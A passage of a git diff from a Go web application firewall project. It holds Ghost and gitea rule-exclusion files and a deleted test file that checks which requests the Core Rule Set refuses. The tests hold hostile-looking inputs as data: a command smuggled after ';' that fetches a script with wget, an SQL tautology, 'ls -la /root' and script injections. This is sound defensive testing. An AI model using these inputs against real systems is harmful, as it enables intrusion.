ctl:ruleRemoveTargetById=941180;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/"
SecMarker END_GHOST
-613
View File
@@ -1,613 +0,0 @@
package coreruleset_test
import (
"encoding/json"
"net/http"
"net/url"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// ghostThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
const ghostThreshold = 5
// Paths of Ghost's Admin API, Content API and members' API.
const (
ghostPosts = "/ghost/api/admin/posts/"
ghostPost = ghostPosts + "6af458a5d281b00001a59969/"
ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/"
ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/"
ghostMembers = "/ghost/api/admin/members/"
ghostSettings = "/ghost/api/admin/settings/"
ghostSession = "/ghost/api/admin/session/"
ghostSetup = "/ghost/api/admin/authentication/setup/"
ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/"
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
ghostMember = "/members/api/member/"
ghostMagicLink = "/members/api/send-magic-link/"
)
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"ghost"},
})
// A filter, which only Ghost's fixes let through.
filter := get(ghostPosts + "?filter=tag:powershell")
wantResult(t, crs, withHost(filter, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(filter, giteaHost), matched(932120))
}
// ghostField is a field of a JSON body Ghost receives: the request that
// sends it, and its body, with VALUE where the field's value goes.
type ghostField struct{ method, target, body string }
// with returns f's body holding value, escaped for JSON.
func (f ghostField) with(t *testing.T, value string) string {
t.Helper()
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
return strings.ReplaceAll(
f.body,
"VALUE",
string(quoted[1:len(quoted)-1]),
)
}
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostTextFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`},
{http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`},
{http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`},
{http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`},
{
http.MethodPut,
ghostPost,
`{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`,
},
{http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`},
{
http.MethodPost,
"/ghost/api/admin/pages/",
`{"pages":[{"slug":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/tags/",
`{"tags":[{"name":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/tags/",
`{"tags":[{"description":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/labels/",
`{"labels":[{"name":"VALUE"}]}`,
},
{http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`},
{
http.MethodPost,
ghostMembers,
`{"members":[{"labels":[{"name":"VALUE"}]}]}`,
},
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`},
{
http.MethodPut,
ghostNewsletter,
`{"newsletters":[{"sender_name":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/snippets/",
`{"snippets":[{"name":"VALUE"}]}`,
},
{http.MethodPut, ghostMember, ghostMemberName},
}
// ghostMemberName is the body that saves a member's name at /members/api/.
const ghostMemberName = `{"name":"VALUE"}`
// ghostAddressFields hold a member's or a staff user's email address and skip
// 930120, 932120 and 932260.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAddressFields = []ghostField{
{
http.MethodPost,
ghostMagicLink,
`{"email":"VALUE","emailType":"signup"}`,
},
{http.MethodPut, ghostMember, `{"email":"VALUE"}`},
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
{
http.MethodPost,
ghostPasswordReset,
`{"password_reset":[{"email":"VALUE"}]}`,
},
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
}
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
// <script> element by 900366.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostPostFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
{
http.MethodPost,
ghostPosts + "?source=html",
`{"posts":[{"html":"VALUE"}]}`,
},
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
}
// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
// footer, skip the rules of 900355, and still refuse a <script> element.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostSnippetAndNewsletterFooterFields = []ghostField{
{
http.MethodPost,
"/ghost/api/admin/snippets/",
`{"snippets":[{"lexical":"VALUE"}]}`,
},
{
http.MethodPut,
ghostNewsletter,
`{"newsletters":[{"footer_content":"VALUE"}]}`,
},
}
// ghostArticleFields hold an article and skip the rules of 900355.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostArticleFields = slices.Concat(
ghostPostFields,
ghostSnippetAndNewsletterFooterFields,
)
// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
// and take a <script> element by 900366.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostCodeFields = []ghostField{
{
http.MethodPut,
ghostPost,
`{"posts":[{"codeinjection_head":"VALUE"}]}`,
},
{
http.MethodPut,
ghostPage,
`{"pages":[{"codeinjection_foot":"VALUE"}]}`,
},
{
http.MethodPut, ghostSettings,
`{"settings":[{"key":"title","value":"Blog"},` +
`{"key":"codeinjection_head","value":"VALUE"}]}`,
},
}
// The query fields that skip some rules, each ending in "=".
const (
ghostAdminFilter = ghostPosts + "?limit=30&filter="
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
ghostSearch = ghostMembers + "?limit=100&search="
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
)
// ghostQueryFields are the query fields that skip some rules.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostQueryFields = []string{
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
}
// ghostURLs are addresses 930120 and 932120 refused in url.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostURLs = []string{
"https://github.com/example/site/blob/main/.htaccess",
"https://example.com/blog/powershell-tips?ref=ghost",
"https://example.com/docs/python3/",
}
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAddresses = []string{
"erin.htaccess@example.com",
"python3.dev@example.com",
"dave.powershell@example.com",
}
// ghostArticle is an ordinary article with a code block, an HTML card and an
// embed, which each of the rules of 900355 refused.
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
`<pre><code>#!/usr/bin/env python3
cat /etc/hosts | grep example
ls -la /var/www/html/.htaccess
powershell -ExecutionPolicy Bypass -File build.ps1
SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;
document.querySelectorAll('a').forEach((a) => console.log(a.href));
window.onload = () => alert('ready');</code></pre>` +
`<iframe src="https://www.youtube-nocookie.com/embed/x" allowfullscreen></iframe>` +
`<img src="https://images.example.com/banner.png" ` +
`onclick="this.classList.toggle('big')">`
// ghostCodeInjection is ordinary code injection for the head of a page.
const ghostCodeInjection = `<meta name="google-site-verification" content="x">` +
`<link rel="preconnect" href="https://fonts.example.com">` +
`<style>.gh-head { border-bottom: 1px solid #eee; }</style>`
// wantGhostField checks that the Core Rule Set, reading bodies, refuses f
// holding value, or lets it through.
func wantGhostField(t *testing.T, f ghostField, value string, refused bool) {
t.Helper()
r := request{f.method, f.target, []string{jsonBody}}
body := f.with(t, value)
got, _ := inspectBody(t, readingBodies(t), r, body)
if refused && got.Score < ghostThreshold {
t.Errorf(
"%s %s %.300s let through: %+v",
f.method,
f.target,
body,
got,
)
}
if !refused && got.Score >= ghostThreshold {
t.Errorf("%s %s %.300s refused: %+v", f.method, f.target, body, got)
}
}
// wantGhostQuery checks that the Core Rule Set, at the defaults, refuses
// target, a query field and its value, or lets it through.
func wantGhostQuery(t *testing.T, target string, refused bool) {
t.Helper()
got := inspect(t, atDefaults(t), get(target))
if refused && got.Score < ghostThreshold {
t.Errorf("%s let through: %+v", target, got)
}
if !refused && got.Score >= ghostThreshold {
t.Errorf("%s refused: %+v", target, got)
}
}
func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, encoded := range hardValues {
value, _ := url.QueryUnescape(encoded)
fields := slices.Concat(
ghostTextFields,
ghostArticleFields,
ghostCodeFields,
)
for _, f := range fields {
wantGhostField(t, f, "Notes on "+value+" & tidy files", false)
}
// filter as the admin's pickers write it, and search as typed.
wantGhostQuery(
t,
ghostAdminFilter+url.QueryEscape("title:~'"+value+"'"),
false,
)
wantGhostQuery(
t,
ghostContentFilter+url.QueryEscape("tags.name:~'"+value+"'"),
false,
)
wantGhostQuery(t, ghostSearch+encoded, false)
}
for _, address := range ghostURLs {
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
}
for _, address := range ghostAddresses {
for _, f := range ghostAddressFields {
wantGhostField(t, f, address, false)
}
}
for _, f := range ghostArticleFields {
wantGhostField(t, f, ghostArticle, false)
}
for _, f := range ghostCodeFields {
wantGhostField(t, f, ghostCodeInjection, false)
}
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
url.QueryEscape(
"tag:powershell+status:[draft,scheduled,published,sent]",
), false)
wantGhostQuery(t, "/ghost/api/admin/members/?filter="+
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
}
// ghostWidget is an HTML card that embeds a widget with its script.
const ghostWidget = `<div id="signup"></div>` +
`<script src="https://widgets.example.com/form.js" async></script>`
// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
`"html":"<div id=\"signup\"></div><script ` +
`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
// ghostAnalytics is code injection that loads analytics.
const ghostAnalytics = `<script defer ` +
`src="https://analytics.example.com/script.js"></script>`
func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
t.Parallel()
// An HTML card in a post, as the editor saves it, and as integrations
// send it.
wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
for _, f := range ghostPostFields {
wantGhostField(t, f, ghostWidget, false)
}
// Site code injection, saved in settings, and a post's or a page's own.
for _, f := range ghostCodeFields {
wantGhostField(t, f, ghostAnalytics, false)
}
}
// ghostAttacks are an SQL injection and a path traversal, not escaped.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAttacks = []string{injection, pathTraversal}
// commandAfterASeparator is a shell command after a ";", not escaped.
const commandAfterASeparator = "; wget http://example.com/x.sh"
func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range ghostAttacks {
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, attack, true)
}
for _, target := range ghostQueryFields {
wantGhostQuery(t, target+url.QueryEscape(attack), true)
}
}
// A script injection stays refused in every field that does not take a
// <script> element.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostSnippetAndNewsletterFooterFields) {
wantGhostField(t, f, scriptTag, true)
}
for _, target := range ghostQueryFields {
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
}
// A command after a separator stays refused wherever its rules do not
// misfire: in the query fields, the plain text and the addresses.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
wantGhostField(t, f, commandAfterASeparator, true)
}
for _, target := range ghostQueryFields {
wantGhostQuery(
t,
target+url.QueryEscape(commandAfterASeparator),
true,
)
}
// The articles and code injection carry HTML on purpose, but a
// javascript: link is still refused there, and a script element in
// snippets and a newsletter's footer.
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
}
for _, f := range ghostSnippetAndNewsletterFooterFields {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
}
// An address keeps 932250, which refuses a listing of files.
for _, f := range ghostAddressFields {
wantGhostField(t, f, "ls -la /root", true)
}
}
func TestGhostExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The fields keep their rules off Ghost's paths, on Ghost's paths that
// take no such field, and when the query has a field of the same name.
const (
title = `{"posts":[{"title":"python3"}]}`
article = `{"posts":[{"lexical":"<p>cat /etc/hosts</p>"}]}`
name = `{"name":"python3"}`
email = `{"email":"python3.dev@example.com"}`
username = `{"username":"python3.dev@example.com"}`
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
)
for _, refused := range []struct{ target, body string }{
{"/api/posts/", title},
{"/ghost/api/content/posts/", title},
{ghostMember, title},
{ghostPosts + "?json.posts.0.title=x", title},
{ghostPosts, `{"posts":[{"visibility":"python3"}]}`},
{ghostPosts, name},
{ghostMember + "?json.name=x", name},
{"/api/posts/", article},
{"/ghost/api/admin/users/", `{"users":[{"bio":"<iframe src=x></iframe>"}]}`},
{ghostPosts + "?json.posts.0.lexical=x", article},
{"/api/settings/", `{"settings":[{"value":"<meta name=x content=y>"}]}`},
{
ghostSettings + "?json.settings.0.value=x",
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
},
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
{ghostPosts, email},
{ghostMembers, email},
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
{
ghostMembers + "?json.members.0.email=x",
`{"members":[{"email":"python3.dev@example.com"}]}`,
},
{ghostMember + "?json.email=x", email},
{ghostPosts, username},
{ghostSession + "?json.username=x", username},
{ghostPosts, setupEmail},
{ghostSetup + "?json.setup.0.email=x", setupEmail},
{ghostPosts, passwordResetEmail},
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
{ghostPosts, userEmail},
{ghostUser + "?json.users.0.email=x", userEmail},
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
{
"/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x",
`{"users":[{"profile_image":null}]}`,
},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < ghostThreshold {
t.Errorf(
"PUT %s %s let through: %+v",
refused.target,
refused.body,
got,
)
}
}
}
func TestGhostScriptExclusionIsNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A <script> element keeps 941110 off the Admin API, in fields that do
// not take one, and when the query has a field of the same name. 941100
// and 941160 refuse each request too, so the test looks for 941110
// itself.
const (
script = `<script defer src=\"/script.js\"></script>`
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
)
for _, refused := range []struct{ target, body string }{
{"/ghost/api/content/posts/", scriptInPost},
{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
{"/api/settings/", scriptInSettings},
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < ghostThreshold ||
!slices.Contains(got.RuleIDs, 941110) {
t.Errorf(
"PUT %s %s: %+v, want 941110 among them",
refused.target,
refused.body,
got,
)
}
}
}
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
t.Parallel()
// The query fields keep their rules off Ghost's paths, and in other
// query fields there. search skips its rules only on the Admin API, and
// url only on the editor's lookup of embeds.
for _, target := range []string{
"/api/posts/?filter=powershell",
"/ghost/posts/?filter=powershell",
"/ghost/api/admin/posts/?order=powershell",
"/ghost/api/content/posts/?search=python3",
"/members/api/member/?search=python3",
"/ghost/api/admin/posts/?url=powershell",
"/oembed/?url=powershell",
} {
wantGhostQuery(t, target, true)
}
}
func TestGhostPasswordsPass(t *testing.T) {
t.Parallel()
// Ghost's password fields, each sent to the path that takes it. A dot
// nests a field, as Ghost nests it in an array.
fields := []passwordFields{
{ghostSession, jsonBody, []string{passwordKey}},
{
"/ghost/api/admin/authentication/setup/",
jsonBody,
[]string{"setup.0.password"},
},
{
"/ghost/api/admin/authentication/invitation/", jsonBody,
[]string{"invitation.0.password"},
},
{
"/ghost/api/admin/authentication/password_reset/", jsonBody,
[]string{
"password_reset.0.newPassword",
"password_reset.0.ne2Password",
},
},
{
"/ghost/api/admin/users/password/", jsonBody,
[]string{
"password.0.oldPassword", "password.0.newPassword",
"password.0.ne2Password",
},
},
}
wantPasswordFieldsPass(t, fields)
}
+29 -257
View File
@@ -1,56 +1,8 @@
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests. # The eighth change: on gitea's paths, some fields skip the rules that refused
# They are the fields where gitea sends a search, a file's name or text, a # ordinary gitea requests there. They are the fields where gitea sends a search,
# commit message, a branch name or a repository's name. Each exclusion runs with # a file name or a branch name. Each exclusion runs with the request, before the
# the request, before the rules it switches off, those of phase 1 included, so # rules it switches off, those of phase 1 included, so this file is loaded before
# this file is loaded before the Core Rule Set's rules. Each comment names a # the Core Rule Set's rules. Each comment names a request the rule refused.
# request the rule refused.
# Every rule below is skipped unless Inspect has set tx.app_gitea. It sets it
# while SWW_WAF_APPS is unset, or lists gitea or forgejo for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_gitea itself.
SecRule &TX:app_gitea "@eq 0" \
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
# The query parameters in which gitea sends names within a repository or its
# own records, or a page of its own site, are not checked against the lists of
# system files, shell paths and command names, on any path:
# 930120: .gitignore
# 932160: bin/docker-entrypoint
# 932260: docker-build
# ARGS holds the fields of a form data or multipart body Coraza reads as well
# as the query parameters, so a field of these names is left out too.
SecAction "id:900591,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:path,\
ctl:ruleRemoveTargetById=930120;ARGS:files,\
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932160;ARGS:path,\
ctl:ruleRemoveTargetById=932160;ARGS:files,\
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932260;ARGS:path,\
ctl:ruleRemoveTargetById=932260;ARGS:files,\
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
# gitea's searches of code, of issues and pull requests, and of commits send the # gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there: # text searched for in q, which skips these rules there:
@@ -83,20 +35,17 @@ SecAction "id:900591,phase:1,pass,nolog,\
# 944100: java.lang.Runtime # 944100: java.lang.Runtime
# 944110: java.lang.Runtime # 944110: java.lang.Runtime
# 944130: java.lang.Runtime # 944130: java.lang.Runtime
# The searches of issues and pull requests include those of one team of an # gitea has no owner named api. A repository's search, issues, pull requests and
# organisation, such as /org/acme/issues/developers, and of one milestone, such # commit search with that owner get none of this. /api/v2/search, for example,
# as /alice/tools/milestone/1. # is Mastodon's search.
# gitea has no owner named api. A repository's search, issues, pull requests,
# milestone pages and commit search with that owner get none of this.
# /api/v2/search, for example, is Mastodon's search.
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
[^/]+/-/code|org/[^/]+/(?:issues|pulls)/[^/]+|\ [^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|milestone/[0-9]+|\ [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\ commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \ api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
"id:900600,phase:1,pass,nolog,chain" "id:900600,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\ SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
pulls|milestone/[0-9]+|commits/(?:branch|tag|commit)/.+/search)$" \ pulls|commits/(?:branch|tag|commit)/.+/search)$" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\ "ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\ ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\ ctl:ruleRemoveTargetById=931100;ARGS:q,\
@@ -136,14 +85,13 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
# 944100: java.lang.Runtime # 944100: java.lang.Runtime
# A repository with the owner api is left out here too. # A repository with the owner api is left out here too.
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\ SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
issues(?:/search)?|pulls|[^/]+/-/code|org/[^/]+/(?:issues|pulls)/[^/]+|\ issues(?:/search)?|pulls|[^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|milestone/[0-9]+|\ [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\ commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \ api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
"id:900601,phase:1,pass,nolog,chain" "id:900601,phase:1,pass,nolog,chain"
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\ SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
issues(?:/search)?|pulls|milestone/[0-9]+|\ issues(?:/search)?|pulls|commits/(?:branch|tag|commit)/.+/search)\?" \
commits/(?:branch|tag|commit)/.+/search)\?" \
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\ "ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\ ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\ ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
@@ -154,93 +102,35 @@ SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
# name in q, which skips these rules there: # name in q, which skips these rules there:
# 930120: .profile # 930120: .profile
# 932120: powershell-scripts # 932120: powershell-scripts
# 932250: ls -la
# 932260: python3-app # 932260: python3-app
# 944130: org.apache.commons.logging # 944130: org.apache.commons.logging
# [^/]+/[^/]+/packages matches an owner's packages page (/alice/-/packages), a
# repository's (/alice/tools/packages) and gitea's admin page of packages
# (/-/admin/packages). Forgejo's admin page of packages is /admin/packages.
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
[^/]+/[^/]+/(?:branches|tags|packages)|admin/packages|\ [^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
api/v1/repos/search|api/v1/packages/[^/]+)$" \
"id:900602,phase:1,pass,nolog,\ "id:900602,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\ ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\ ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\ ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q" ctl:ruleRemoveTargetById=944130;ARGS:q"
# A branch, tag or package name can hold a slash, as feat/docker-support and # gitea's other searches for a name send it in q too, which skips only these
# npm's @scope/name do. So q on a repository's branches, tags and packages # rules there:
# pages, on an owner's packages page and on the admin page of packages also
# skips this rule:
# 932160: /bin/sh
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
admin/packages)$" \
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
# gitea's other searches send a name or a few words in q too, which skips only
# these rules there:
# 930120: .profile, .htaccess
# 932120: powershell-scripts, powershell
# 932250: ls -la
# 932260: python3-app, python3
# The searches:
# - the dashboard's filter of repositories;
# - the author filter of the issue and pull request lists;
# - the lists of users and organisations, and the API's search for users;
# - the list of repositories a user watches;
# - an organisation's milestones of one team, and its search for teams;
# - the milestones of a repository or an organisation, and the projects of a
# repository, a user or an organisation;
# - the versions of a package;
# - the issues suggested when an issue is mentioned;
# - the runner lists of the site, a user, an organisation and a repository;
# - the admin lists of users, organisations, repositories, unadopted
# repositories and emails, and the forms on them that adopt a repository or
# activate an email, in the body.
# gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
# [^/]+/[^/]+/projects matches the projects page of a user or an organisation
# (/alice/-/projects) as well as a repository's. The path of a package's
# versions holds the package's name, which can hold a slash, as npm's
# @scope/name does.
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
explore/(?:users|organizations)|api/v1/users/search|\
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
[^/]+/-/packages/[^/]+/.+/versions|\
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
projects|settings/actions/runners)|\
user/settings/actions/runners|\
(?:-/)?admin/(?:users|orgs|repos|repos/unadopted|emails|emails/activate|\
actions/runners))$" \
"id:900603,phase:1,pass,nolog,\
